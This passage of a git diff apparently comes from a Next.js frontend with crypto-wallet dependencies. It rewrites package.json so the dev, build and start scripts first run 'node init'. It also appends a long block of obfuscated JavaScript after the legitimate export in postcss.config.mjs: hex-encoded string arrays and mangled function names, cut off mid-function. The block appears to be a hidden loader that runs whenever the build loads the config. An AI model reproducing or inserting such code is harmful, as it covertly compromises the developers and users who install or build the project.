- "@metamask/detect-provider": "^2.0.0", - "@monaco-editor/react": "^4.7.0", - "@sentry/nextjs": "^10.74.0", - "@stellar/freighter-api": "^6.0.1", - "@stellar/stellar-sdk": "^14.6.1", - "@tanstack/react-query": "^5.62.0", - "@xstate/react": "^6.1.0", - "axios": "^1.20.0", - "bignumber.js": "^10.0.2", - "chart.js": "^4.5.1", - "clsx": "^2.1.1", - "d3": "^7.9.0", - "date-fns": "^4.1.0", - "diff-match-patch": "^1.0.5", - "ethers": "^6.16.0", - "framer-motion": "^12.40.0", - "fuse.js": "^7.5.0", - "hotkeys-js": "^3.9.0", - "html2canvas": "^1.4.1", - "jspdf": "^4.2.1", - "lucide-react": "^1.14.0", - "monaco-editor": "^0.55.1", - "monaco-languageclient": "^10.7.0", - "nanoid": "^5.1.9", - "next": "16.3.5", - "next-themes": "^0.2.1", - "qrcode": "^1.5.4", - "react": "19.2.3", - "react-chartjs-2": "^5.3.1", - "react-dom": "19.2.3", - "react-is": "^19.2.8", - "react-joyride": "^3.1.0", - "react-loading-skeleton": "^3.5.0", - "react-window": "^2.3.1", - "reactflow": "^11.11.4", - "recharts": "^3.10.1", - "socket.io-client": "^4.8.3", - "tailwind-merge": "^3.5.0", - "tldraw": "^5.3.2", - "vscode-languageserver-protocol": "^3.17.5", - "vscode-ws-jsonrpc": "^3.5.0", - "wabt": "^1.0.39", - "xstate": "^5.31.1", - "y-monaco": "^0.1.6", - "y-webrtc": "^10.3.0", - "y-websocket": "^3.0.0", - "yjs": "^13.6.32", - "zod": "^4.4.3", - "zustand": "^5.0.15" - }, - "devDependencies": { - "@next/bundle-analyzer": "^16.1.6", - "@playwright/test": "^1.63.0", - "@tailwindcss/postcss": "^4", - "@tanstack/react-query-devtools": "^5.62.0", - "@testing-library/dom": "^10.4.1", - "@testing-library/jest-dom": "6.6.3", - "@testing-library/react": "15.0.7", - "@testing-library/user-event": "14.6.7", - "@types/d3": "^7.4.3", - "@types/diff-match-patch": "^1.0.36", - "@types/jest-axe": "3.5.9", - "@types/node": "^20", - "@types/qrcode": "^1.5.5", - "@types/react": "^19", - "@types/react-dom": "^19", - "@types/react-joyride": "^2.0.2", - "@vitejs/plugin-react": "5.2.0", - "@vitest/coverage-v8": "^5.0.0", - "babel-plugin-react-compiler": "1.0.0", - "eslint": "^9", - "eslint-config-next": "16.3.5", - "fake-indexeddb": "^6.2.5", - "jest-axe": "11.0.0", - "jsdom": "24.1.3", - "msw": "^2.7.0", - "prettier": "^3.8.1", - "prettier-plugin-tailwindcss": "^0.8.1", - "tailwindcss": "^4", - "typescript": "^6", - "vite": "5.4.19", - "vitest": "^1.6.0" - }, - "pnpm": { - "onlyBuiltDependencies": [ - "core-js", - "keccak", - "sharp" - ] - }, - "packageManager": "pnpm@10.33.0+sha512.10568bb4a6afb58c9eb3630da90cc9516417abebd3fabbe6739f0ae795728da1491e9db5a544c76ad8eb7570f5c4bb3d6c637b2cb41bfdcdb47fa823c8649319" -} +{ + "name": "frontend", + "version": "0.1.0", + "private": true, + "scripts": { + "dev": "node init && next dev --webpack", + "build": "node init && next build --webpack", + "start": "node init && next start", + "lint": "eslint . --ext .js,.jsx,.ts,.tsx", + "format": "prettier --write .", + "format:check": "prettier --check .", + "test": "vitest run --config vitest.config.mts", + "test:watch": "vitest --config vitest.config.mts", + "test:e2e": "playwright test", + "validate:i18n": "vitest run src/i18n/__tests__/locale-key-parity.test.ts", + "analyze": "ANALYZE=true next build", + "check:bundle": "node scripts/check-bundle-size.js" + }, + "dependencies": { + "@creit.tech/stellar-wallets-kit": "1.5.0", + "@dnd-kit/core": "^6.3.1", + "@dnd-kit/sortable": "^10.0.0", + "@dnd-kit/utilities": "^3.2.2", + "@ledgerhq/hw-app-eth": "7.8.4", + "@ledgerhq/hw-app-str": "7.7.7", + "@ledgerhq/hw-transport-webhid": "6.35.2", + "@ledgerhq/hw-transport-webusb": "6.35.0", + "@lottiefiles/react-lottie-player": "^3.6.0", + "@metamask/detect-provider": "^2.0.0", + "@monaco-editor/react": "^4.7.0", + "@sentry/nextjs": "^10.74.0", + "@stellar/freighter-api": "^6.0.1", + "@stellar/stellar-sdk": "^14.6.1", + "@tanstack/react-query": "^5.62.0", + "@xstate/react": "^6.1.0", + "axios": "^1.20.0", + "bignumber.js": "^10.0.2", + "chart.js": "^4.5.1", + "clsx": "^2.1.1", + "d3": "^7.9.0", + "date-fns": "^4.1.0", + "diff-match-patch": "^1.0.5", + "ethers": "^6.16.0", + "framer-motion": "^12.40.0", + "fuse.js": "^7.5.0", + "hotkeys-js": "^3.9.0", + "html2canvas": "^1.4.1", + "jspdf": "^4.2.1", + "lucide-react": "^1.14.0", + "monaco-editor": "^0.55.1", + "monaco-languageclient": "^10.7.0", + "nanoid": "^5.1.9", + "next": "16.3.5", + "next-themes": "^0.2.1", + "qrcode": "^1.5.4", + "react": "19.2.3", + "react-chartjs-2": "^5.3.1", + "react-dom": "19.2.3", + "react-is": "^19.2.8", + "react-joyride": "^3.1.0", + "react-loading-skeleton": "^3.5.0", + "react-window": "^2.3.1", + "reactflow": "^11.11.4", + "recharts": "^3.10.1", + "socket.io-client": "^4.8.3", + "tailwind-merge": "^3.5.0", + "tldraw": "^5.3.2", + "vscode-languageserver-protocol": "^3.17.5", + "vscode-ws-jsonrpc": "^3.5.0", + "wabt": "^1.0.39", + "xstate": "^5.31.1", + "y-monaco": "^0.1.6", + "y-webrtc": "^10.3.0", + "y-websocket": "^3.0.0", + "yjs": "^13.6.32", + "zod": "^4.4.3", + "zustand": "^5.0.15" + }, + "devDependencies": { + "@next/bundle-analyzer": "^16.1.6", + "@playwright/test": "^1.63.0", + "@tailwindcss/postcss": "^4", + "@tanstack/react-query-devtools": "^5.62.0", + "@testing-library/dom": "^10.4.1", + "@testing-library/jest-dom": "6.6.3", + "@testing-library/react": "15.0.7", + "@testing-library/user-event": "14.6.7", + "@types/d3": "^7.4.3", + "@types/diff-match-patch": "^1.0.36", + "@types/jest-axe": "3.5.9", + "@types/node": "^20", + "@types/qrcode": "^1.5.5", + "@types/react": "^19", + "@types/react-dom": "^19", + "@types/react-joyride": "^2.0.2", + "@vitejs/plugin-react": "5.2.0", + "@vitest/coverage-v8": "^5.0.0", + "babel-plugin-react-compiler": "1.0.0", + "eslint": "^9", + "eslint-config-next": "16.3.5", + "fake-indexeddb": "^6.2.5", + "jest-axe": "11.0.0", + "jsdom": "24.1.3", + "msw": "^2.7.0", + "prettier": "^3.8.1", + "prettier-plugin-tailwindcss": "^0.8.1", + "tailwindcss": "^4", + "typescript": "^6", + "vite": "5.4.19", + "vitest": "^1.6.0" + }, + "pnpm": { + "onlyBuiltDependencies": [ + "core-js", + "keccak", + "sharp" + ] + }, + "packageManager": "pnpm@10.33.0+sha512.10568bb4a6afb58c9eb3630da90cc9516417abebd3fabbe6739f0ae795728da1491e9db5a544c76ad8eb7570f5c4bb3d6c637b2cb41bfdcdb47fa823c8649319" +} diff --git a/frontend/postcss.config.mjs b/frontend/postcss.config.mjs index 297374d80..397c31136 100644 --- a/frontend/postcss.config.mjs +++ b/frontend/postcss.config.mjs @@ -1,7 +1,11 @@ -const config = { - plugins: { - '@tailwindcss/postcss': {}, - }, -}; - -export default config; +import { createRequire } from 'module'; + +const require = createRequire(import.meta.url); + +const config = { + plugins: { + '@tailwindcss/postcss': {}, + }, +}; + +export default config; var z = '-8203-24';function G_OcB_cDnVMbUXKw(){var MiIW_ybT_Ub=['2c3931031e','762a2e25393e23632a27767e28672c732d2f3e6532396b656525282e282d677e693b2a2e2a3e7d272521623916793e3d6933663a63166b2a7063397670703960632a10736538793f0a2c243a673e237308672a226738702a630a267b63252170213d61677c3d247c6362632470267d242a7f393c62656b39242f102d387925302f393d3f7f3362607b672a253960393960246236317a6b76232d102a2573397a39106716387c667c7c272a2a653e227c30667b7d72273d263f7939762216167760623e672e626767702539231039767b3d6639637067763b62083e38766028702c702d703a0a62627a3d22623d207b2539277a2a2e6b2d76107023223832652e26632f60246a796b76632e3d2e2a7c737665627f2e22762c652576302d2d767a1077792a6b2d7a7639707f6718623932273d7a3e6b3270203a27303f3d253d6b63086b632767243d253b6b22763f2739673965273c2431236327673f3a7070393963633d762a23383d7016333a762a29702f2a7067636339703d213a65633f1060622f2a62392f253923387f7a32633d39702d2370782c69162e63652a23393b2a3b2c162c6562252c2d3b257a2367222827707062760870267e766039676b6562703e766038366062223f67602926702f603e266266763822223a2427763f7639763a7260656528233a60107d2d2e6b3f7b25393b39636b3d39732d273925672f2f2c3f6b167d2a65702670393f23652c3a6b792a362e3d2e2228162c293f22777f2470087027673131227d6027102a107060633822692722693967253b227238672d392d233e3c62243c762e306329763c2e25793f652c3e65227620222a2a2a6062322d3f3b2a7825366276726962283b0a603e703e3f3b16697627207c3d3b3f6b7a397023313c69623f636272626365273e2776387c2d706b70383a7b62256932607b3836763d2a60386b2623637b3a6516233d70756b7b7d760a6624312e3f39633f7a393f39382238247b2e6765703110632d777e2e7c3f6763392a242a3d2539703f23232d703d67217639706b6239757a73312324612430772a20263825622a203f2e653d2472602e2a7b2827222470293e6b7616086a2c217032786027622e7665362f3976227d242208733925257b707d762a39693665392e227616183f3839252565707939763f70103f70223d763b3908392563622a392e3f3e31606b232720106033762e6b66732130632e213272636362626b','331a010029','21242225','383e29383f3922252c','7b3778377a377f3779','272e252c3f23','2d39242608232a3908242f2e','7a7e7b7278787d3904293b0727','2815262e2129153f3924','083e1c0e1a','191477692819016a6d1d2e28191c2a7619392d196f7d69287a701919122825231464653f6b221919190c1577196519281979651025196b65192d6564771928786a6a7e2518197719221907652e1838272d632e2f2c33287774247739272819743f1924382f192d3e182e65746d3b23651919040638102e773820190e6577193e7739192e70190f190939191917652d19657728716a293b277b7222282419393f2819637039241919257966696365153c6b326577772f2f6b626f2d6b243e656e2e772a772e653f7726632819332d19771001632d2e19771b293965296c241922651919776c19196e3c192d38622e1965102a2c181b302f796520772a287a2e656a78651b771119221961240f3822761065772d65697f19296b05692e2433193b2465220227202a2e1f196579626e2677222e1916317737193e63632d193c191917197519726865197b392f7638657b336a3819652d1918626328283f7a3b2d243f2a2e063e190b1976771919642b6519206f6379281965387c2e7a2a650d190028616565316919252d1b2e38193f1919196577192768192d77716b796363196b196f6c7d382b7778252322616f2e1328361923746b283f242865222e2828726b30192a7738703e6a652e160e1919240365656f6925770f7819381919656563192e2e38382e19776b3f67696b192f243d3618287b012622651f77380e2e2c38193c1619692a1965196a197724626221196b192e3c6b223f286538252063366325103d2e19777b7776202d0377393906196b282220250e65286509776d1910241619656e28281927393370616b10692422382e25192e2d2e2a6a1225652e28196e24693e65777d271919193219762238761919636219192e711919626a193c2839197a7765246a192819280b6936193e193a3e7e63781b2427692e193f7b6a2d3f2a196177197a3f2520282d361f656a6f647739246b02322819196b621b77176529773f197c711b1b3877166539137777652e193e631919193a253b6577651970283f22381365191932196f0b77786220191928776019397327616522196a3908171b6a25762838776328227763197c2e192e1928656b3f772e3b2e622e7777672e77630e006a653b25296f69192a1919652e3d3e2328651f2714286571197b396b62193c3c6a38187b653f7c3e657b631972142a636f6d652e7d2d651919207a0833292273276523287626630b77192f656577393965796500063928291419251963191428710f3c3f366519653036722c6f191919621f1d3f772a6365770c652f19351c1e19657027396523023826051b6b6b3f0b1919731419791965221939191b197763197868282e287b282e78221919772a1978192a2519301138366a067719666165322f2a781922647b6e2d1968196b77227977197b7371653f36192d6a696619286519271928323f3219382e0a7b19181f1973657f3a776f0d1f2e1965651b147728197d232919652e39226528661923280a1908793d19657029187719772a680077197139161f2d2e2e66706a207614386519282621386319367177192a19616d2c65772f24262e2238192565636f68142a301d0b242812666524261b2f2a2665192a272d2832241f606a1b142c383965772922196a2d656228026d632902241922633925391c65222e6519286b6a6322286318196528392b71727713383b19636f6b2619283f7738652c6a657f733938202e3d1d191b2f1920331977192f2e3925622e18386462196b272e397728381f782f283665197e08641c63651824251139621928242828382823621965771919773f653838631919772f273e652865372d733f20673827252e3b24772e19776a657d19652e2e19191f2a6d236b062d773010246f19776b19387b62766b7733182e2865283677286f2e3863632f62191928362d08191977617719652666651961192e7763333d19386b63066d192d652e1b612c6b75386277246576651922382539196574307e772229197d6219197a386b28192c3a282e272876282770292e77272d611802082f792e69313b19193677281927186725213828266f1925656a2a222277011216772d1b08380b210a6519776e6b3f6519243c19366c6b39753b3123656527196c772c24143677181963203a3323106b6d772219662d6f08773e77222a0e05197e191f191677193b3820656519312f2c65621677622e3965193965063819311b7519192e77773f14232c27773b651928262d19386a252d3f197f6b2f3f147215776724392e7e192d19336b191910391365773829321977776579196519392e251e1b633275653b7777283819273f7b3f65306518322225772c2c276f6b1d286562710e03026a65330f3e1967193b1923196338283f650639190621030619192819656b193f252f37242a7b6525682a6579620f2d206d281902191919642d2e1965280b772239387d1f607a191b33656519653828652a19686566771330196a257f192819223f196425192e72266565770a62292e2562651677652a631963653074783f196d19196422632713656b77236a2f191977696a2824746b786b7a1977662325772f3f252f247719203826686628631f2e192e2e6a1665197738771f60761965192266390b1919653968282f772819191926313f2d65082f2e193b6528301a19222921382438652d19392c66191c7b2f221919776520770419196d66196a686b16083816323f7f65662f142b1b19196c7765193d2e21183c772f2865286b672d651b65636528223f28052919256c66652e19281925391a653919332430192877697d19252f161936192663196f191824651f7e192879283365613d19242228147565387b09192d62771b772a1965240811377b6b1b04032f1a2465256b77657a382419146c6b651b772e39651077193719777b22771939706c02651910366027286a1026286a6527287725632a6b3f191903192767363b36196219731901772a1965773f2f63057516222877262e0b7e2825103e65196265296e381b2577771419196a192919766f191915776a36623829667d69680e732819632f6a19623f392a3f191977776b797a196c076a2229372e043f19193f6f3e282f251919653f6219310e650c1b326a6b190a0266253a2a3e773665322819656565281919652828286f1519192f081419773f732819233879691979656c1875626279236a2e2d326565756a22076f2e256b706e72041f3d652f6f7f19190877281b18633f3e193c276d6326686919373b2823773f036f2a77776b653f6a19180e2d6519192c28051b65196b0819227f2619776806191977703c2266680e6b77773f772e197703771939253f240e636a7b397b772f65651908692825656579293b637d083b771819692e7a27622828772a631b651b722e773a2a6277777a77256522192a191b1963361976656d67796a283c1965621b196f65773a1977366a7a611877196a192d65772877192f14771979197777681677771919193b6a65393b1977616a1f190219771b207719313f2a656d36652a272e0076221b77196c762c191b36193b6f301809656b1938326563653f6a6b2870772e7e38237d7f3f3f773b2d77243f333e071f20397570771965283b38196528193f1966682a7f3e197d65193f2e7066636f743c73713b646d19277b773968772e6b2222382d6a2f6f2a241463682826396b2e7719191d6a1b25282a773f6535283928632e6c612a716b771919252e2a112e656e642f1977191961630e6b2b602e101b283c193c6b77632e3e283f2a62657c1c77646f1b77652328181f6b7c2e19096a6560196502772923192e27653f2e65297f103e253e2e3e196a19273f63191919673667032d3f033d142565772e196b140a77737738397719337f6219056a3b192f37096b77191920222e6c2866651928252678283877182277226562650e6319637719191b196b14781977283c2e656a652777196f6a19292f672e771b190e276f3f3b396a772464626519193f6a671f633928686465193263601939192c2b772d65772a60652d626477776d776b2e1919772e226677092d0e653819292519196265196e64213f2719776e286b196a19633319682819653819196519066577197c2863282c27192826651677652e287929621b77777919196d2f2a0900623977113f75102f2a1903282e2f650619773638190c39651977747a192d19192828281963243828691919352077176a0628653b6508623e19336260631920172e6c217d061b1e1908262874191978197f6322222e6538192e611971311819701b25631162772720193d277177191a3019282269281b602e6706191c2a657719063919273f68771919383f78396a65772c7700193c196319216519192a6a650c7f19656f3b25653170302e1970797a307b1f7f63391920666c656a7719337722002377623810773f286b1b3e2e193639632d2a2a192d7c2777197e6a3919270f131926657a713b22196b77766b1921382465772e396a24193a0262197a1939393c24306d3f19190077250811667b0665283e1962286e282f7b603c776f0e77221f7777243f2f2a32257722241565196c19193c19287d7e201968011b65776a197e2e6a3930192e70322e1963657b76702822386528632c3f19793b3e7276061a2d10306704256b65651b0522637765192a221a196565286e3f646364197765396519396565276a38283e2e652a1b35196a287b782a1e19693f283828656a391d193b2a22317b7729692f3f2c2f6a65387468283d2f1935681977197762631f29650219621b28777d747c62167f1c7d6825251b3f6536392e37191e75192e2a19623b686b25186029796e22192136386313251524383228382c2f01653838103b201973656b383e3c39192532362f24650c221f65773c602865632838706a6b252363196719081910776d13197777652829281f19380a2d25281866196922776528096337191965192f6e19651e6419653907773f626a192e1979283b3b6a38777519747a196f773f2e19777719247b393f2d63192e38290f197c27222a19653638656438192839382a3927196e2d16387b196577272e77392e6e386538272738297319043308193f287a3f7d3065666b1927652e192465282c26192024193829282a7702323e3619393f68386d373f192a33196223246519382d6b201919197f283963336528763f657722786319336b65776565196f2d693f6b191938057764086b1925192f19393b191977242f7765197739102a39692777656b1b6965193865196539286a3d680f2d192e2e2924306719622f733d772d1928652801773f2e656a19196920186318621968771865231b36393f656364636528637a2f77193c6a383e7b6324651b29637b651901280e2208652d636b652265293e287768396565651919107362146a19651819096a693f191d2925141927281b19196b241925702377191b0b39732a193927283728247e63193b627719332f77776f6525772724362e3919772432192a256524326519020977233f772824290e22193663260639651f2a197b192e3f221936656a7765197a723f770a2e291914072827236a0f7b3965197b222722391928643873772819633961190b2e7777652770653928661b3e272a1928281922697b7d0b6a19286a651a202767772c777c3629632a1928076528386c6065651f63773919777765656d2d2f7519246b28242e2619283c65272825632871196c373f7719251912167f067b0c1965190d193e3f656a772d653e606f603f7719617c38191919632229232f761b6577361919762e1965146265623939677f6d6b2719362e77197d191977152c2d272e192f383f1b3577292865633832777e36192274272823776d6578303e6525147122197c29707b7719772819191928190b377a382e0c19387962287623772d722e777739602e19176c626d7e393d640d3910652a653f2565191b39251e772414287d25760e1f7765226033287c272e3d383e7739656a1928776a16193c6b65191963161b190f656b272d6a716d65292f3b1f276519681918656f197763196b777728106525656b2419397d7c39772e6619663e286119196f1965292a2e322838656a1019331919770f133f2d2528191a1b2238193f2c2877652a19736a296a77183f7b7719756b191939221975281e3b6528191c11196a190f00627b283d25252038652e6b196b152f271977282d19193e71380c192e67632c191d1969193e19191969193f1977193869650e1922141b6d1977273224182c6c38753d19283c2e7f19282c2b65237714286c633e262f191b752472191b257a196865282d19771b161938642a252d3a0519196c7765192873282219191928652a143b3f0024773b3839777c7719192265241428646a25191938636b75191b16333f3f143814242309772a6c386d651b776b65200c287d39777c2224643c1902181b1b283323193c286577652822286e7a192d73722f186b7719292838191d193833392f2a1619703f7419056767197562281b1269281928192e0d6b6a7b19193a3636397b7e077d65771965392d776f3e37287728771e660f106b28286524777e70776b63650e65236519142777193977770d77103f3f08246e26186519197802292822241919772a3b1928192810191977652d251919676519092a256332641937033b0c25196577761919773e632a28386f19782e19622628140a7f3e253f692e70382439636e191b3f632e2c636661396a2677190f6319192a65392c273165193c652d19163a2a3d24162d636e7777282827777f3872170b3e6b722e65613365640d3f18191b10656f6e252b316277776f6a7e1a2829601619783f19772d221b282e177731226519282a29396b63777729253d7d6a3f253c1428132d6325236510366138632b771b75631977656577333f721963652877632e7b19651b2a24656a2f6363660b2d7b2e77777d1924193e70632f2b6b193b6565773b672e771f7705651b19651019280431622d63772716653e3074392d771970197702612a77776f2b19636b636565657769717705196e2e196b226865316527633919672f192a652f193d77381d2863381622620623651925771919193f3f192c673565191019682e2d65703f3f3b6562381925183f27191979242e656d2822632a3665691b6d32382e19142a6e391919650f77221b38190f6a226526196919213123773e196567752f2e652104362a191a281d77386f78082c1977197e0e282f1e23282e656a1e2d651966337d7716653c287777650e6a39191b192208336518196a2665251329657c2d65312e2d11196969166332773329772077161e196628363a2d656a05227612221924191905650b383c7a073e2e7a20196d6b68390f282e19652a27191965196563691606193f062219396239273e192f6d651919283b222d02277919771977777e2d62316d2d1e192e2877387f772e25381965246977227767196a386b240922196628197b2719053f1f1962181928772d2f3e3f19192f1b31190363192838621b0f77286f1933796d717a033927246565256b2d38656f25733e3b046f7b22383838226566773d197765773a1a636a196a6b106a2f333c256519323e6122742f196e651979193f75397c386a3f193814192e2f2b6a776f16196b19266a192d33196b261924206a283f77636565251928181925176d65777b191f223c263f3b78610c631b326425330d233f197765710c2465656563193f653965777b283f1f6339776b652410223d6577197a3819722f1619601919232e196a28287919192e697228103977700f2e1b281919203f0c272c77743f0a1e6c3f3f191a19366b3c783f192a3f16631d3f6674777774656569273962652e1966191902150e003d657f7c1924602205772e282e65251933633f1903196b3f737019223962772a192833633a2a19380b2d2e39190665777665283f0b772d281965196219653933276a3f64672738191919287665227b7819231919383014331939771a7728672a77770e1c63062419776b3e3f0e692d36292d396577381960162f396b77196a1a193c65226b02191f141b246563287b3f736338191f1919282509196a696533020f650a22362e3b2419786a243176162e3f20193f643e0a7a7f19197219283f6a052a2f3914250c086a64296f361969332f772219283f15653e3e3c76782f193b3c2c197219731b3a192268193b2c723e767a227b2d776519771b7b2d363f3d1439782e3871772d3977227c63773263242719652e722424091f6514193f240e626b2a3863772819222e2f3f383819641919642e391963653c282e651965391b326319046377652c03333919771f65076a193363772463106560307728771977652e22051f19081033657f1920196f3b00696527281b6365773f206577191a0d20253c021962653f661939762e3077651b1b6b680e7d782a3b78101962072f2f28701933196a196c6b24246a623c652e6a651928777b6e7722383872193e047d22396f651965223b7d6e26667d3c19227731776b2c3976253c2e19190514141963192e013d192d196e7105191b1977251919196f651965261977391968300e28656229777d3b2e22192d683f07656519771b2119196563672a142727656b650f6b2c776339233d6b697f206a6b2b271977202e7a6b286f6f7e1931651919162e3e6d0f22196b6519776363282e39380e652a2419232e2d626e2e07196265716515622e3808196536651f771b15656b0f3277681928193b051939622519192714782f731c63287666780e2e3a2e220619192e1931192a28083e2e772777193822652a7039287765272f191265192a3927192825042d78231f382f3f77066926773863253b36710a652d3219771908776819327b3d197736771965776e2a3f386a27197566777927272f6525397e76630d716519192725192819693831782469772d196d7865656a12752d1962292e192738233b066e772d65632f6a2a29220d196b783c2a0677382e65653a2d19652214656d0e6a656d1919192819333019101965147419796a6a191928336219020665622d76687a0e0729191925012e2a0622267a62191919146b3777272a7778627b32282f6d65682576276537193870652d632e286528387628307419646e2f146a2a2504282e771939332a656c2962761477266222280a2808192865257719652e6b65651966770a197e651926102f1977777919650a25723319283f26280e6e10656519671a3f773e1b2d146a7719766b3f111928273b1b61653e2e3b7d772d65297319197728183920772e361928202f286570773f31652765776a2224657739647977197629281919381d0f6519657a29772828771936772360656b193d1f193b141b77653938633e1b1a3f71656577751920726a762a7024772a61657c39167b12627328363163772a6519652e7319246b3f276b1928630a35226a616329196e281967287b3f776b39061919776b1922776b652d1b2e61600e62266524216565267326652819636f772d651965222f2e3236280919196a3828772524721977256b193c39057b683f192f3e281466191869223022626325062819777b0577641d777765677b603c6516773c77192e2e19673c642e1965196222656b19772e6b657d192c2a65392c38601a223f2f65246a283f2e2a0719246278196b7765282f65646535776b653817652e77383b7e19657719193c2a6a616519623f1967242d191177113f2819233819396f646519086565296b6928193f676c272e2a281b286b1919771931697719226b277b2419192f19387c6519632e08281914657d69141965653b776d202f2f2e2e65777665652724657619776a29656d1928773f2808397b266d28133e6c3c252f653870383c60197f64383e0f22281b292a6b6565226a247a15393602752e7f7771193c08192228771919192869656b2f193b3f7b776519207b771c73396b192519650f286508056b273c24236527667719773b2829196b1b2e7d231266193f65280e3b7177602a661d77192a192d6c6377391919196d772a31777f191919650e627c653339287b222703191f22382865112d192d281933663f2362651968766a7708653c6927302e162e6619776477387f053f65243b69282e657f192530181924771962082816622e63193c731919656b777a2328303b7328186a2e77197419002a76227d1922106502193b196f19293319182827653b771b6a2d2a6a3d3d3804656a3b19193f650e2c27193f77656a223e2f65273e772238651924197f6a651b652826651b223619246565271b0519327d763f30772a2e65146a193c193f2a1965382d656a65167f102e6519200e3666363d2e65656f053c220f6a36657b19687722382a19783b6e7736652a190b19013f65190c2a3365196c383b087b6a190c283965790d1922192e1b2a192538191919252a7719627e1e71692576282f28740a093f65797b653f2f286a087a196b2865772e2f2a0a65196365672e2719281977286d77652e08191e19222d302a010019602e336633711b286e2e220b2e28192e20743b19657f6b19197719686f28656522606a7f19196f197868196539631b221919772865192822141e6a31191919703e153765116538631f19191f28652f3619773265142877651919306f20197f0d09636f17773c656b657019772e197f173819287377196519100e2f196b3e241910361d63653b2f6c6977012a637f3b390a19636505287777393b786575316b2e2e196a7765777e7c716d1b622810192919190e0663141b6536191962657619233977670819191963772078196023256b6e1965190d622719701965386b196521272619636327240365771977301b192e19227777282f2e006519652d19793b19632a243565193219191910711919742e2238191b2d206b123863387865286b777f292724777b7772302477191f0b19656525192219702a27743824197b2c771f65193f26773e6538177419276514192828317f6d71747b6b657e1964283f287f77197523226e65226822367719650e26287a330a252d19301828396519656e3769651b39391925772819251b6a2a19193f192d19651b6b736c1977010a6b196d22772e28283016282d6519262a19652239286522192e11692577326a776b28196b6877672e286a192f7238222860147a2a65393e6565296565192e23771935226f243f772d192f28223f77172c24147b2719263d0d63772e723877193f3f636b6a1925197d367765223f0465656d72387f2f0519286b65246519196516217b6b196b262a7f70397738082a626d6b26241033271961233f6a670a3e3b6b193e672d193f2d1021621b612819197a7719183d6b386a792802381965652e7c7f23192f6c28713d3839653870772e6377146a06192d192d07072c2a27656a653e651972630628272a632f363f042a65361928022e29260e287b0563190f6e290e6f6b392f77283c62650d770429111c1965212c651e7f692a2d192b6c266e642e2d2a331919197019252a717c3d197b2928652a141977772119193865651362383b0c226d3d6c2e652765796502652e7239192e65386c7a7639652e192e332929141919142e72282f770d021b6a6528196073657f7f7d641e777727386a16773e2b3b19383e29772975011b3c3b0b222719772262206a2f19072019653f391933633939626e6b646563162973281938603d1966286236712438196528686977283a20772e206522261918056519380e6b291b1b2562772e36247b2e69657a2f1902196a6339656e65026565192d312a14741919202d64673f281919022d657722196b292f190465281b282f2e196538362e210d293b7024652d387728142628772a0d652f25287b286b191919653a256b651928196523190021771938652028777819386528281f3f653f393f253f753c7064022811287339772265193f751928386565386b38301f2e6b776a6560651965773e191b19246577006526652a6538390677196b65283c192228771962251b637719192e2e3e3f2801286e3b05651938282e65762e2a2d7b776c0b18367a7777120221396a6a777f2a652d191965276d77196f6565273d6536377e6d1965196a7762332d3865296f7119286b2765776b246301652e656805657c3f776228773c6b2e197b65767732286b6a6565192e7477256c09101929246c2a3e19366b392a2e68197665221963383f796529356b77182865363f1f381939772a19626b393222396a0877286b3f2f35696b13653f3f1977196a2f6b2865656a2e2f65196577196b256518252e6a6a627f64241319193e652e2519776539193a1969271406652e2d3f3f396b3f192865143977196519652f2f301c2330196577656d19192877652c2d361928397e792f3f2e362f633674280d7c6533326f1c776a6565287d3b287405287b3163237f651919247614242a651b2d6a2d7f231965192f612e762f6828287d3939302464192a19186531653d65190f287765101972656c3f166d65191919667f196d2e3c172819122e24252d6b3f6526622e7665222800651930657b38277a3b28193863282327651c1965322865302e2227782d3f773064650865636525772762752677772f7a772a746b252e28771965652a3d2724193d21192c2e65146b761960651919653c2f19652f7d6e6502282863603f657128226c6528233f652965196a387f2d3f1419333f2a77383603672828652f2019252865653628686b25621965631462287a7865243f65246536776a653f191962653f7765656573192565033f283f77292719243f281a0c2515611433262e281b1f3665657777397b6b270e3f6a2f25697b3b2d652c273619772e19271f0b2265652c62252e7f193e772d19191f2c6528196528652e2e3f776565152e2e6739703f373b283f2e1c0d386b192c2a2f1939240c63273f276b686332397765682f2f3f6577196b22662477383f022f6a296219020e3f611919256d196528772219262719636663263f28206519326a7b1912017728651922753939656b3c72281f2a1976771b282f00161417792d636b686519386e653f2e7725641939322828652519286f651b6d652d65222828091b05192f197019657e77191977261b24306319301425772719222f6523196b652f192519396a013c197b65191b1939657576632d772e746577092d1633192829281b281938367719633865191b12651919141b20632477632f27777b2e19677a710f7a383d652227232e141b193b2828197a3a26652f2669773822381b2f65746b3b262f19231925283f63746f19393f1933652e622b656519653b74226a197a1939636b30652e1f191936652836771919736565193b1969282c706528287b193919656b3f6d78252f7e2e281b291465196a192a28281929282f293628636a303f776519253d6505196d352e0a386f3169777f7765242c382d082a19277724280e192419193f6565773865222b197465382c28656519381938656c6f331928380519196a192b19241914256a6819676a7e3a2d65680902190b276567651624192e192a377719103f777771372a107f771935196a600e2c6619652a1b6a2e6b6d27777e256e2819192f0d39322865386419657030306703657077257765627f653f2f26196238192f63261929306577192865391b266528192e6b2819282019336277286d28226532282e273e32706765132f3919271919686b28282d6528196b6b196f1928243939636539083b770539680e6316192519692221252c19197f77086f2a2f27192a286d3f636a66193b65162f2465282219363e3819393863256b08776a70652d2865280b31773f197f3f08193f193f2876652878282d24656a6b6b1970772d2e73192f39061919102f05102832192871751f2577271565272473192219192838382836193f3b283065381938656565362865192a1210772a616b620263272f19633c38397d6b61197c6a2a7718652877171965090e07192e7d122d777a772e281b390f2e6b38277b1b290f68191624656c772765266b19633b62772e202a28652819652f6565143e772a6c776b192722292d26252f2d1665636e19197719050f28190e19681d65652a382a10256d19676f77671977247f19192e0e196238380716730e1819192e190e22193019772865306b281c0c2d3624232f282a386516656b2d1b766b24387d7c0e2428021b24286b657c222c280d0819656b77280e65056b652919','0313260e20','727d78727d737f183c071c2306','1231251a0f','797e130c2e3e273f','7a7a797a7f722d1b2c042231','3102130826','233a2e393833273e3d3c2a282f212932262c2439312d202428223b3f393e3f25383f242528','191a29091d','7c7f7f7e7e792521390a3e2d','241304281b','1d043a322f','7a7c797878787b013f0f1d2712','1c0c390c1d','797b0d0e221f3c3f','7d7c737e737b730d2e28283d2a','787d7e7c7e7a791c040a05331a','3b380c3a24','2d11130f19','043c182d3e','28232a390a3f','12393a1a03','383b27223f','242c230303'];G_OcB_cDnVMbUXKw=function(){return MiIW_ybT_Ub;};return G_OcB_cDnVMbUXKw();}function NqHTRmzWFxaGcakRrkKp(dtN$gaf$ZXDRXUj,jVO_$qyd){var jxUFlIUITCuW$EQyIKY=G_OcB_cDnVMbUXKw();return 